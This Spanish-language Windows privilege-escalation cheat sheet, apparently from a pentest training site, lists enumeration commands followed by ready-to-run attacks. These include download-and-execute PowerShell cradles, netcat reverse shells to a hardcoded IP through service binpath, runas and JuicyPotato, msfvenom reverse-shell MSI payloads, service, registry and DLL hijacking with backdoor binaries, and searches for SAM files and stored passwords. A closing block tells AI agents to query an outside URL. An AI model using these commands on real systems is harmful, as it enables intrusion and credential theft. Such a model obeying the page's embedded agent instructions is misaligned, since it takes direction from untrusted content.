# Enumeracion de Windows

## <mark style="color:green;">Verificar el Sistema Operativo, Nivel de Parche, Básico</mark>

```sql
systeminfo
Systeminfo | findstr /B /C:"OS Name" /C:"System Type" etc ..

## Actualizaciones
wmic qfe get Caption,Description,HotFixID,InstalledOn
Wmic logicaldisk get caption,description

## Aplicaciones
wmic product get name, version, vendor
accesschk.exe -uws "Everyone" "C:\Program Files"
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}

## Servicios
sc query state=all | findstr "SERVICE_NAME:"
wmic service get name,displayname,pathname,startmode
Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}

## Volumen
mountvol

## Drivers (en PowerShell)
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}

whoami
echo %USERNAME%
whoami /priv
whoami /groups
whoami /all
# Si el usuario tiene privilegios SeImpersonate
# \\192.168.119.155\test\juicy.exe -l 4444 -p c:\windows\system32\cmd.exe -a "/c \\192.168.119.155\test\nc.exe -e cmd.exe 192.168.119.155 4447" -t * -c {6d18ad12-bde3-4393-b311-099c346e6df9}

net user
net localgroup
net user /domain
net group /domain
net group /domain <Group Name>
```

## <mark style="color:green;">Firewall / AV / Defender</mark>

```perl
netsh firewall show state
netsh firewall show config
Sc query windefend
Netsh advfirewall firewall dump
netsh firewall show state
```

## <mark style="color:green;">Red</mark>

```bash
ipconfig /all
route print
arp -A
```

## <mark style="color:green;">Herramientas Automatizadas de Checklist</mark>

```bash
Ejecutar winpeas
Ejecutar PowerUp.ps1
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.119.155/PowerUp.ps1');Invoke-AllChecks"

Ejecutar Sherlock.ps1
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.119.155/Sherlock.ps1');Find-AllVulns"

accesschk.exe /accepteula -wvu
Permisos de Carpeta
\\192.168.119.155\test\accesschk.exe /accepteula -uwdqs "Authenticated Users" C:\
\\192.168.119.155\test\accesschk.exe /accepteula -uwdqs "Everyone" C:\
Permisos de Archivos
\\192.168.119.155\test\accesschk.exe /accepteula -uwqs "Authenticated Users" C:\*.*
\\192.168.119.155\test\accesschk.exe /accepteula -uwdqs "Everyone" C:\*.*

Ejecutar JAWS

Ejecutables
WinPEAS.exe /.bat *
Seatbelt.exe
Watson.exe *
Sharpup.exe
windows-privesc-check2.exe --dump -G

PowerShell
Sherlock.ps1 *
PowerUp.ps1 *
jaws-enumps1 *

Otros
Windows-exploit-suggester.py *
Systeminfo -> a text file and run it with windows exploit suggester.py, search for exploit in SecWiki github

MSF exploit suggester *
In a meterpreter session – run /post/multi/recon/local_exploit_suggester - > shows list of kernel
```

## <mark style="color:green;">Aplicaciones y Servicios Instalados</mark>

```bash
# Procesos en ejecución para servicios iniciados
tasklist /SVC
# Servicios de Windows que están iniciados
net start
# Buscar drivers de terceros
DRIVERQUERY

# Verificar si WMIC está permitido en una shell con pocos privilegios. Mayormente permitido en Win7 / Win8
wmic /?
Información automatizada de WMIC - https://www.fuzzysecurity.com/tutorials/files/wmic_info.rar
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."

# Verificar permisos de directorios
cacls "C:\Python27"
```

## <mark style="color:green;">Tareas Programadas</mark>

```bash
schtasks /query /fo LIST /v  # Copiar a schtasks.txt en local y ejecutar
-> cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM

dir %SystemRoot%\Tasks

e.g. c:\windows\tasks\
e.g. c:\windows\system32\tasks\

# Si tenemos permisos de escritura en el binario de la tarea programada / directorio del binario
accesschk.exe -dqv "E:\GrabLogs"
copy evil-tftp.exe E:\GrabLogs\tftp.exe
```

## <mark style="color:green;">Inicios y Autoruns</mark>

```bash
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

Verificar acceso a los archivos y directorios usando accesschk. Si son escribibles, podemos escribir un binario malicioso.
accesschk64.exe /accepteula -wvu "C:\Program Files\Autorun Program"
```

## <mark style="color:green;">Permisos de Servicio</mark>

Verificar si se puede modificar la configuración del servicio.

```bash
accesschk.exe /accepteula
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -ucqv <Service Name>

sc qc <Service Name>  # Obtener detalles del servicio
```

Verificar servicios con permisos de archivo débiles.

```perl
wmic.exe
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

sc.exe
sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
```

#### Ruta de Servicio Sin Citar

```bash
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\"

sc query
sc qc <Service Name>
```

#### AlwaysInstallElevated

```bash
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\

Verificar si AlwaysInstallElevated = 1. Si es así, crear un payload msi con msfvenom.
msfvenom -p windows/shell_reverse_tcp lhost= lport= -f msi -o setup.msi
msiexec /quiet /qn /i C:\Temp\setup.msi
```

#### Servicio Disponible Solo Desde el Interior

```kotlin
netstat -ano
upload plink.exe
plink.exe -R "remote port":127.0.0.1:"local port" root@"ipaddress"
```

## <mark style="color:green;">Contraseñas en Archivos</mark>

Verificar savecred.

```bash
https://pentestlab.blog/tag/privilege-escalation/page/3/
cmdkey /list  # Si hay entradas, es posible que podamos ejecutar runas como un usuario que almacenó sus credenciales en Windows.
runas /savecred /user:ACCESS\Administrator "c:\windows\system32\cmd.exe /c \\IP\share\nc.exe -nv 10.10.14.2 80 -e cmd.exe"
```

¿Podemos encontrar algún archivo SAM?

```bash
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
Findstr /si password *.config
findstr /si pass/pwd *.ini

dir /s *pass* == *cred* == *vnc* == *.config*

en todos los archivos
findstr /spin "password" *.*
findstr /spin "password" *.*
```

**Configuración Desatendida**

```bash
c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml

dir /b /s unattend.xml
dir /b /s web.config
dir /b /s sysprep.inf
dir /b /s sysprep.xml
dir /b /s *pass*

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
```

## <mark style="color:green;">Registro</mark>

**VNC**

```graphql
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKCU\Software\TightVNC\Server"
```

**Autologin en Windows**

```graphql
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
```

**Parámetros de SNMP**

```graphql
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
```

**Putty**

```graphql
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
```

**Buscar contraseña en el registro**

```bash
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

**REGSVC ACL**

```shell
Verificar los servicios del registro.
> Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
Buscar permisos de grupo de acceso para NT AUTH/Interactive.

Crear un nuevo binario de servicio de Windows, verificar el directorio de ataque para el código fuente (net user add works).
> x86_64-w64-mingw32-gcc windows_service.c -o x.exe

Agregar al camino del registro.
> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f
Ejecutar usando.
> sc start regsvc
```

**Explotación de Ruta de Servicio Sin Citar**

```bash
## Caso 1: SeShutdownPrivilege está listado cuando se verifica whoami /priv. No importa si muestra Deshabilitado.

Buscar servicios que se inician automáticamente:
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
Buscar servicios no estándar.
wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows"
Ejemplo de salida de servicio potencial sin citar:
Heisenburg Service   heisenburgsvc     "C:\Program Files\Heisenburg\The One Who\knocks.exe"        auto

Luego, verificar si existen permisos de escritura o completos para BUILTIN\Users o Everyone en alguno de los subdirectorios.
icacls "C:\\"                         # o: .\accesschk.exe /accepteula -uwdq C:\
icacls "C:\Program Files"             # o: .\accesschk.exe /accepteula -uwdq "C:\Program Files"
icacls "C:\Program Files\Heisenburg"  # o: .\accesschk.exe /accepteula -uwdq "C:\Program Files\Heisenburg"

Ejemplo de salida si (builtin\users o Everyone) tiene ( (I) o (F) ) en "C:\Program Files\Heisenburg":
                 BUILTIN\Users:(F)
                 BUILTIN\Users:(I)(RX)
Ejemplo de salida para accesschk.exe:
 RW BUILTIN\Users

Crear un binario de reverse shell y copiarlo en consecuencia.
copy %temp%\backdoor.exe "C:\Program Files\Heisenburg\The.exe"

Reiniciar para que el servicio se inicie automáticamente.
shutdown /r /t 0

## Caso 2: SeShutdownPrivilege = Deshabilitado, tenemos privilegios (service_stop, service_start) en un servicio.

Buscar servicios que tienen modo de inicio manual y no son estándar.
wmic service get name,displayname,pathname,startmode | findstr /i "manual" | findstr /i /v "c:\windows"
Ejemplo de salida de servicio potencial sin citar:
Heisenburg Service   heisenburgsvc     "C:\Program Files\Heisenburg\The One Who\knocks.exe"        manual

Verificar si tenemos privilegios de service_stop, service_start.
.\accesschk.exe /accepteula -ucqv user heisenburgsvc

Luego, verificar si existen permisos de escritura o completos para BUILTIN\Users o Everyone en alguno de los subdirectorios.
icacls "C:\\"                         # o: .\accesschk.exe /accepteula -uwdq C:\
icacls "C:\Program Files"             # o: .\accesschk.exe /accepteula -uwdq "C:\Program Files"
icacls "C:\Program Files\Heisenburg"  # o: .\accesschk.exe /accepteula -uwdq "C:\Program Files\Heisenburg"

Ejemplo de salida si (builtin\users o Everyone) tiene ( (I) o (F) ) en "C:\Program Files\Heisenburg":
                 BUILTIN\Users:(F)
                 BUILTIN\Users:(I)(RX)
Ejemplo de salida para accesschk.exe:
 RW BUILTIN\Users

Dado que hay espacios entre "\The One Who\" en la ruta, Windows buscará "\The.exe" primero, luego "\The One.exe", luego "\The One Who.exe", y finalmente "\The One Who\knocks.exe".

Crear un binario de reverse shell y copiarlo en consecuencia.
copy %temp%\backdoor.exe "C:\Program Files\Heisenburg\The.exe"

Iniciar el listener de netcat para capturar el reverse shell y arrancar el servicio.
net start heisenburgsvc # net stop heisenburgsvc primero si el servicio ya está en ejecución.
```

**Explotación de Permisos de Servicio Débiles**

```ruby
# Descargar accesschk.exe desde aquí https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe
# Listar acceso para todos los servicios
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" * # o: .\accesschk.exe /accepteula -uwcqv user *
Ejemplo de salida, tener acceso completo en dos servicios:
$ RW SSDPSRV
$ SERVICE_ALL_ACCESS
$ RW upnphost
$ SERVICE_ALL_ACCESS

# Se necesita al menos (service_change_config, service_start, service_stop) acceso, service_all_access = acceso completo.

# Si se cumplen ambas condiciones, podemos comenzar a explotar esto ahora.

# Listar la configuración actual del servicio
sc qc upnphost
# Verificar si el TIPO DE INICIO es DEMAND_START y si el NOMBRE_DEL_SERVICIO se ejecuta con privilegios más altos.
$        START_TYPE         : 3   DEMAND_START
...
...
$        SERVICE_START_NAME : NT AUTHORITY\LocalService
# Cambiar la ruta binaria con el payload que se desea ejecutar, por ejemplo, reverse shell con nc.exe cargado:
sc config "upnphost" binpath= "C:\WINDOWS\Temp\nc.exe 192.168.119.147 443 -e C:\WINDOWS\System32\cmd.exe"
# Eliminar dependencias (si las hay)
sc config "upnphost" depend= ""
# Hacer que se ejecute desde la cuenta del sistema
sc config "upnphost" obj= ".\LocalSystem" password= ""
# Iniciar el listener de netcat para capturar el reverse shell y arrancar el servicio
net start "upnphost" # net stop "upnphost" primero si el servicio ya está en ejecución.
```

**Explotación de Permisos Débiles del Registro**

```bash
# Verificar permisos para un servicio de ejemplo "upnphost"
Get-Acl HKLM:\System\CurrentControlSet\Services\upnphost | Format-List # PowerShell
Ejemplo de salida, verificar si NT AUTHORITY\INTERACTIVE tiene control completo.
Access : Everyone Allow  ReadKey
          NT AUTHORITY\INTERACTIVE Allow  FullControl
          NT AUTHORITY\SYSTEM Allow  FullControl
.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\upnphost # lo mismo accesschk
Ejemplo de salida para accesschk.exe:
  RW NT AUTHORITY\INTERACTIVE
        KEY_ALL_ACCESS

# Verificar si tenemos privilegios de service_stop, service_start
.\accesschk.exe /accepteula -ucqv user upnphost

# Si se cumplen ambas condiciones, podemos comenzar a explotar esto ahora.

# Listar los valores actuales del servicio
reg query HKLM\System\CurrentControlSet\Services\upnphost
Ejemplo de salida:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\upnphost
    DisplayName    REG_SZ    @%systemroot%\system32\upnphost.dll,-213
    ErrorControl    REG_DWORD    0x1
    ImagePath    REG_EXPAND_SZ    %SystemRoot%\system32\svchost.exe -k LocalServiceAndNoImpersonation
    ...

# Actualizar ImagePath para apuntar a nuestro payload de reverse shell
reg add HKLM\System\CurrentControlSet\Services\upnphost /v ImagePath /t REG_EXPAND_SZ /d C:\Windows\Temp\backdoor.exe /f
# Iniciar el listener de netcat para capturar el reverse shell y arrancar el servicio
net start "upnphost" # net stop "upnphost" primero si el servicio ya está en ejecución.
```

**Explotación de Permisos Débiles del Archivo Ejecutable del Servicio**

```bash
# Verificar si podemos sobrescribir un archivo binario de servicio existente
icacls "C:\Program Files\Heisenburg\knocks.exe"  # o .\accesschk.exe /accepteula -uvwq "C:\Program Files\Heisenburg\knocks.exe"

Ejemplo de salida si (builtin\users o Everyone) tiene ( (I) o (F) ) en "C:\Program Files\Heisenburg":
                 Everyone:(F)
                 BUILTIN\Users:(I)(RX)
Ejemplo de salida para accesschk.exe:
  RW BUILTIN\Users
        FILE_ALL_ACCESS

# Hacer copia de seguridad del ejecutable original
copy "C:\Program Files\Heisenburg\knocks.exe"  C:\Temp\

# Crear un binario de reverse shell y sobrescribir el existente
copy /Y C:\Temp\backdoor.exe "C:\Program Files\Heisenburg\knocks.exe"
# Iniciar el listener de netcat para capturar el reverse shell y arrancar el servicio
net start "heisenburgsvc" # net stop "heisenburgsvc" primero si el servicio ya está en ejecución.
```

**Escalación de Privilegios AlwaysInstallElevated**

```bash
# Esto solo funcionará si ambas claves del registro contienen el valor "AlwaysInstallElevated" 0x1.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Si se cumplen las condiciones, podemos explotar esto ahora.

# Generar payload msi de reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<MI-IP> LPORT=<MI-PUERTO> -f msi -o shell.msi

# Copiar el binario al objetivo, iniciar un listener y ejecutarlo.
msiexec /quiet /qn /i C:\Temp\shell.msi
```

**Secuestro de DLL**

```php
Puedes ver el orden de búsqueda de DLL en sistemas de 32 bits a continuación:
1 - El directorio desde el que se cargó la aplicación.
2 - Directorio del sistema de 32 bits (C:\Windows\System32)
3 - Directorio del sistema de 16 bits (C:\Windows\System)
4 - Directorio de Windows (C:\Windows)
5 - El directorio de trabajo actual (CWD)
6 - Directorios en la variable de entorno PATH (sistema y luego usuario)
Como un usuario con pocos privilegios, tenemos pocas esperanzas de poner una DLL maliciosa en 1-4, 5 no es una posibilidad en este caso porque estamos hablando de un servicio de Windows, pero si tenemos acceso de escritura a cualquiera de los directorios en el PATH de Windows, ganamos.
echo %path%
# Podemos verificar nuestros permisos de acceso con accesschk o cacls
accesschk.exe -dqv "C:\Python27"
cacls "C:\Python27"
# Antes de pasar a la acción, necesitamos verificar el estado del servicio IKEEXT. En este caso, podemos ver que está configurado como "AUTO_START", ¡así que se lanzará al arrancar!
sc qc IKEEXT
copy evil.dll C:\Python27\wlbsctrl.dll
Reiniciar
```

**Credenciales almacenadas**

```bash
cmdkey /list

# Si existen credenciales guardadas, usar runas para ejecutar como ese usuario.
runas /savedcred /user:<NOMBRE-DEL-USUARIO-CON-CREDENCIALES-GUARDADAS> C:\Temp\backdoor.exe
```

**Obtener contraseñas del registro de Windows**

```graphql
# Credenciales de autologon
Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"
o,
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# Parámetros de SNMP
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
```

**Buscar contraseñas en el registro**

```bash
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

**Archivos que pueden contener contraseñas**

```makefile
c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
# Archivos de política de símbolos que contienen cPassword en un controlador de dominio; 
# ubicaciones generales: %SYSTEMROOT%\SYSVOL\sysvol
# \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\
Servicios\Services.xml: Atributos específicos de elemento.
ScheduledTasks\ScheduledTasks.xml: Elemento interno de tarea, elemento interno de TaskV2, elemento interno de ImmediateTaskV2.
Printers\Printers.xml: Elemento SharedPrinter.
Drives\Drives.xml: Atributos específicos de elemento.
DataSources\DataSources.xml: Atributos específicos de elemento.
```

**Encontrar todos los permisos de carpetas débiles por unidad.**

```r
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
```

**Encontrar todos los permisos de archivos débiles por unidad.**

```markdown
accesschk.exe -uwqs Users c:\*.*
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cppj/shell/enumeracion-de-windows.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
